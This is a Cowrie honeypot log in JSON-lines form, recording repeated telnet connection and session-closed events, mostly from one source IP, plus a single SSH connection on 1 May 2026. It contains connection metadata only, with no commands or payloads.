{"eventid":"cowrie.session.closed","duration":30.794028520584106,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:48.260218Z","src_ip":"51.161.172.108","session":"a775309ca93f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37646,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ba8f8b32370","protocol":"telnet","message":"New connection: 51.161.172.108:37646 (159.203.135.109:23) [session: 7ba8f8b32370]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:48.275209Z"}
{"eventid":"cowrie.session.closed","duration":31.45637035369873,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:48.290848Z","src_ip":"51.161.172.108","session":"c8d9ab871116","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.015681266784668,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:48.304631Z","src_ip":"51.161.172.108","session":"afb719cd31b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.098071575164795,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:48.375573Z","src_ip":"51.161.172.108","session":"0def8acfa902","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.645362615585327,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:48.385921Z","src_ip":"51.161.172.108","session":"e2e585d25270","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37660,"dst_ip":"159.203.135.109","dst_port":23,"session":"2accf1cc8f70","protocol":"telnet","message":"New connection: 51.161.172.108:37660 (159.203.135.109:23) [session: 2accf1cc8f70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:48.524607Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37664,"dst_ip":"159.203.135.109","dst_port":23,"session":"9dff9c3cf271","protocol":"telnet","message":"New connection: 51.161.172.108:37664 (159.203.135.109:23) [session: 9dff9c3cf271]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:48.629333Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37676,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b0e67ae1c3f","protocol":"telnet","message":"New connection: 51.161.172.108:37676 (159.203.135.109:23) [session: 2b0e67ae1c3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:48.820401Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37268,"dst_ip":"159.203.135.109","dst_port":23,"session":"52a96a5018e9","protocol":"telnet","message":"New connection: 51.161.172.108:37268 (159.203.135.109:23) [session: 52a96a5018e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:48.972205Z"}
{"eventid":"cowrie.session.closed","duration":30.30432367324829,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:49.062116Z","src_ip":"45.10.154.244","session":"f239be130926","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37724,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2ec0eaf0ce5","protocol":"telnet","message":"New connection: 51.161.172.108:37724 (159.203.135.109:23) [session: e2ec0eaf0ce5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:49.086452Z"}
{"eventid":"cowrie.session.closed","duration":31.155648469924927,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:49.212793Z","src_ip":"51.161.172.108","session":"bcebbdb545dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.831360340118408,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:49.242234Z","src_ip":"51.161.172.108","session":"02a0996fcd04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":44282,"dst_ip":"159.203.135.109","dst_port":23,"session":"1575e54c07bc","protocol":"telnet","message":"New connection: 51.161.172.108:44282 (159.203.135.109:23) [session: 1575e54c07bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:49.353398Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37654,"dst_ip":"159.203.135.109","dst_port":23,"session":"eccfcc49534f","protocol":"telnet","message":"New connection: 51.161.172.108:37654 (159.203.135.109:23) [session: eccfcc49534f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:49.513219Z"}
{"eventid":"cowrie.session.closed","duration":31.68603754043579,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:49.532540Z","src_ip":"51.161.172.108","session":"c29c5a9b9774","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":44332,"dst_ip":"159.203.135.109","dst_port":23,"session":"21d37a6f7811","protocol":"telnet","message":"New connection: 51.161.172.108:44332 (159.203.135.109:23) [session: 21d37a6f7811]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:49.561114Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":44344,"dst_ip":"159.203.135.109","dst_port":23,"session":"236d21216879","protocol":"telnet","message":"New connection: 51.161.172.108:44344 (159.203.135.109:23) [session: 236d21216879]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:49.597384Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37518,"dst_ip":"159.203.135.109","dst_port":23,"session":"44c7c5db9cc8","protocol":"telnet","message":"New connection: 51.161.172.108:37518 (159.203.135.109:23) [session: 44c7c5db9cc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:49.621537Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":44370,"dst_ip":"159.203.135.109","dst_port":23,"session":"452aa9a027f9","protocol":"telnet","message":"New connection: 51.161.172.108:44370 (159.203.135.109:23) [session: 452aa9a027f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:49.645923Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":44338,"dst_ip":"159.203.135.109","dst_port":23,"session":"d271c5fb1d0e","protocol":"telnet","message":"New connection: 51.161.172.108:44338 (159.203.135.109:23) [session: d271c5fb1d0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:49.699196Z"}
{"eventid":"cowrie.session.closed","duration":30.803715229034424,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:50.396676Z","src_ip":"51.161.172.108","session":"a7d3b83095e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":44438,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5f89a7cd8e4","protocol":"telnet","message":"New connection: 51.161.172.108:44438 (159.203.135.109:23) [session: e5f89a7cd8e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:50.435893Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":44462,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d86fe2c1a40","protocol":"telnet","message":"New connection: 51.161.172.108:44462 (159.203.135.109:23) [session: 9d86fe2c1a40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:50.460403Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":44468,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5728761d76b","protocol":"telnet","message":"New connection: 51.161.172.108:44468 (159.203.135.109:23) [session: a5728761d76b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:50.467442Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":44490,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ad08f1d1c9c","protocol":"telnet","message":"New connection: 51.161.172.108:44490 (159.203.135.109:23) [session: 1ad08f1d1c9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:50.545335Z"}
{"eventid":"cowrie.session.closed","duration":31.017983198165894,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:50.566293Z","src_ip":"51.161.172.108","session":"7c85681acde9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.2420175075531,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:50.583830Z","src_ip":"51.161.172.108","session":"21a27b032bdd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01263117790222,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:50.609463Z","src_ip":"51.161.172.108","session":"0fca77a5da88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.071444272994995,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:50.724732Z","src_ip":"51.161.172.108","session":"a6ab37ab5d5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":44358,"dst_ip":"159.203.135.109","dst_port":23,"session":"23165ea59fd7","protocol":"telnet","message":"New connection: 51.161.172.108:44358 (159.203.135.109:23) [session: 23165ea59fd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:50.767634Z"}
{"eventid":"cowrie.session.closed","duration":31.317042112350464,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:50.818650Z","src_ip":"51.161.172.108","session":"5f9d18720101","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.291865825653076,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:50.857240Z","src_ip":"51.161.172.108","session":"2edea0108975","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":44382,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8e9c038e0a0","protocol":"telnet","message":"New connection: 51.161.172.108:44382 (159.203.135.109:23) [session: b8e9c038e0a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:50.862199Z"}
{"eventid":"cowrie.session.closed","duration":31.245395183563232,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:50.935362Z","src_ip":"51.161.172.108","session":"8261894e9856","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.465178728103638,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:51.078414Z","src_ip":"51.161.172.108","session":"d4b47f594868","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":44580,"dst_ip":"159.203.135.109","dst_port":23,"session":"4bd5b3a55d1a","protocol":"telnet","message":"New connection: 51.161.172.108:44580 (159.203.135.109:23) [session: 4bd5b3a55d1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:51.083581Z"}
{"eventid":"cowrie.session.closed","duration":30.847830295562744,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:51.208571Z","src_ip":"51.161.172.108","session":"080409bddc6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":44592,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8cabc03dd76","protocol":"telnet","message":"New connection: 51.161.172.108:44592 (159.203.135.109:23) [session: b8cabc03dd76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:51.255028Z"}
{"eventid":"cowrie.session.closed","duration":31.102218866348267,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:51.273233Z","src_ip":"51.161.172.108","session":"9f6d9459e020","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.1751971244812,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:51.368757Z","src_ip":"51.161.172.108","session":"04e35a30cda7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.488969802856445,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:51.405584Z","src_ip":"51.161.172.108","session":"85706291598a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":44630,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2977e1ee70d","protocol":"telnet","message":"New connection: 51.161.172.108:44630 (159.203.135.109:23) [session: e2977e1ee70d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:51.411877Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":44616,"dst_ip":"159.203.135.109","dst_port":23,"session":"ddbef22b440f","protocol":"telnet","message":"New connection: 51.161.172.108:44616 (159.203.135.109:23) [session: ddbef22b440f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:51.421070Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":44620,"dst_ip":"159.203.135.109","dst_port":23,"session":"e14cc54235cb","protocol":"telnet","message":"New connection: 51.161.172.108:44620 (159.203.135.109:23) [session: e14cc54235cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:51.425114Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":44634,"dst_ip":"159.203.135.109","dst_port":23,"session":"e65503b08a04","protocol":"telnet","message":"New connection: 51.161.172.108:44634 (159.203.135.109:23) [session: e65503b08a04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:51.429033Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":44452,"dst_ip":"159.203.135.109","dst_port":23,"session":"3672ff4f4e5d","protocol":"telnet","message":"New connection: 51.161.172.108:44452 (159.203.135.109:23) [session: 3672ff4f4e5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:51.466068Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":44624,"dst_ip":"159.203.135.109","dst_port":23,"session":"783c361bdeec","protocol":"telnet","message":"New connection: 51.161.172.108:44624 (159.203.135.109:23) [session: 783c361bdeec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:51.470034Z"}
{"eventid":"cowrie.session.closed","duration":31.504801273345947,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:51.580094Z","src_ip":"51.161.172.108","session":"2325bace0d5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":44662,"dst_ip":"159.203.135.109","dst_port":23,"session":"a88ae616684a","protocol":"telnet","message":"New connection: 51.161.172.108:44662 (159.203.135.109:23) [session: a88ae616684a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:51.618864Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":44666,"dst_ip":"159.203.135.109","dst_port":23,"session":"c05d8f51fdee","protocol":"telnet","message":"New connection: 51.161.172.108:44666 (159.203.135.109:23) [session: c05d8f51fdee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:51.679160Z"}
{"eventid":"cowrie.session.closed","duration":31.783604621887207,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:51.820540Z","src_ip":"51.161.172.108","session":"b62dceb0eb66","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":44692,"dst_ip":"159.203.135.109","dst_port":23,"session":"51bd47b5943e","protocol":"telnet","message":"New connection: 51.161.172.108:44692 (159.203.135.109:23) [session: 51bd47b5943e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:51.916330Z"}
{"eventid":"cowrie.session.closed","duration":31.491553783416748,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:51.989905Z","src_ip":"51.161.172.108","session":"f4e3a2d33d65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":44712,"dst_ip":"159.203.135.109","dst_port":23,"session":"b67a86c0fbf5","protocol":"telnet","message":"New connection: 51.161.172.108:44712 (159.203.135.109:23) [session: b67a86c0fbf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:52.040511Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":44728,"dst_ip":"159.203.135.109","dst_port":23,"session":"6efe3bca21b5","protocol":"telnet","message":"New connection: 51.161.172.108:44728 (159.203.135.109:23) [session: 6efe3bca21b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:52.145696Z"}
{"eventid":"cowrie.session.closed","duration":30.636537551879883,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:52.186927Z","src_ip":"51.161.172.108","session":"50cc3659e018","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":44748,"dst_ip":"159.203.135.109","dst_port":23,"session":"c34431fc9d0a","protocol":"telnet","message":"New connection: 51.161.172.108:44748 (159.203.135.109:23) [session: c34431fc9d0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:52.366206Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":44734,"dst_ip":"159.203.135.109","dst_port":23,"session":"536a6522ba64","protocol":"telnet","message":"New connection: 51.161.172.108:44734 (159.203.135.109:23) [session: 536a6522ba64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:52.417610Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":44752,"dst_ip":"159.203.135.109","dst_port":23,"session":"1bca15f16742","protocol":"telnet","message":"New connection: 51.161.172.108:44752 (159.203.135.109:23) [session: 1bca15f16742]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:52.520445Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":44750,"dst_ip":"159.203.135.109","dst_port":23,"session":"13ad5245c9fc","protocol":"telnet","message":"New connection: 51.161.172.108:44750 (159.203.135.109:23) [session: 13ad5245c9fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:52.611962Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":44764,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc0d9f1e9fab","protocol":"telnet","message":"New connection: 51.161.172.108:44764 (159.203.135.109:23) [session: fc0d9f1e9fab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:52.635998Z"}
{"eventid":"cowrie.session.closed","duration":31.066823482513428,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:52.653179Z","src_ip":"51.161.172.108","session":"a52206ae05dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":40178,"dst_ip":"10.17.0.5","dst_port":23,"session":"14af277a852c","protocol":"telnet","message":"New connection: 45.10.154.244:40178 (10.17.0.5:23) [session: 14af277a852c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:52.777242Z"}
{"eventid":"cowrie.session.closed","duration":30.69369602203369,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:53.215974Z","src_ip":"51.161.172.108","session":"7c364c960feb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78121280670166,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:53.223633Z","src_ip":"51.161.172.108","session":"edff2f7d18f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97223997116089,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:53.278536Z","src_ip":"51.161.172.108","session":"e20ad98433c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.263245344161987,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:53.291963Z","src_ip":"51.161.172.108","session":"9f17091eaf10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":44822,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c62f93ee4ff","protocol":"telnet","message":"New connection: 51.161.172.108:44822 (159.203.135.109:23) [session: 3c62f93ee4ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:53.377983Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":44826,"dst_ip":"159.203.135.109","dst_port":23,"session":"858da139a649","protocol":"telnet","message":"New connection: 51.161.172.108:44826 (159.203.135.109:23) [session: 858da139a649]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:53.407604Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":44836,"dst_ip":"159.203.135.109","dst_port":23,"session":"8fbaf721fa37","protocol":"telnet","message":"New connection: 51.161.172.108:44836 (159.203.135.109:23) [session: 8fbaf721fa37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:53.431798Z"}
{"eventid":"cowrie.session.closed","duration":31.60454750061035,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:53.510816Z","src_ip":"51.161.172.108","session":"52ffaa194d35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":44846,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2c36e5fad50","protocol":"telnet","message":"New connection: 51.161.172.108:44846 (159.203.135.109:23) [session: b2c36e5fad50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:53.540532Z"}
{"eventid":"cowrie.session.closed","duration":31.3091242313385,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:53.651397Z","src_ip":"51.161.172.108","session":"98668ad7c16d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":55350,"dst_ip":"159.203.135.109","dst_port":23,"session":"d12cdfcebc46","protocol":"telnet","message":"New connection: 185.26.126.47:55350 (159.203.135.109:23) [session: d12cdfcebc46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:53.692308Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":44872,"dst_ip":"159.203.135.109","dst_port":23,"session":"567b6578bc37","protocol":"telnet","message":"New connection: 51.161.172.108:44872 (159.203.135.109:23) [session: 567b6578bc37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:53.756193Z"}
{"eventid":"cowrie.session.closed","duration":31.47517418861389,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:53.761170Z","src_ip":"51.161.172.108","session":"a1f670691554","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":44920,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba34021127d5","protocol":"telnet","message":"New connection: 51.161.172.108:44920 (159.203.135.109:23) [session: ba34021127d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:54.191942Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.169.229","src_port":48724,"dst_ip":"10.17.0.5","dst_port":22,"session":"69c098abb098","protocol":"ssh","message":"New connection: 148.230.169.229:48724 (10.17.0.5:22) [session: 69c098abb098]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:54.230012Z"}
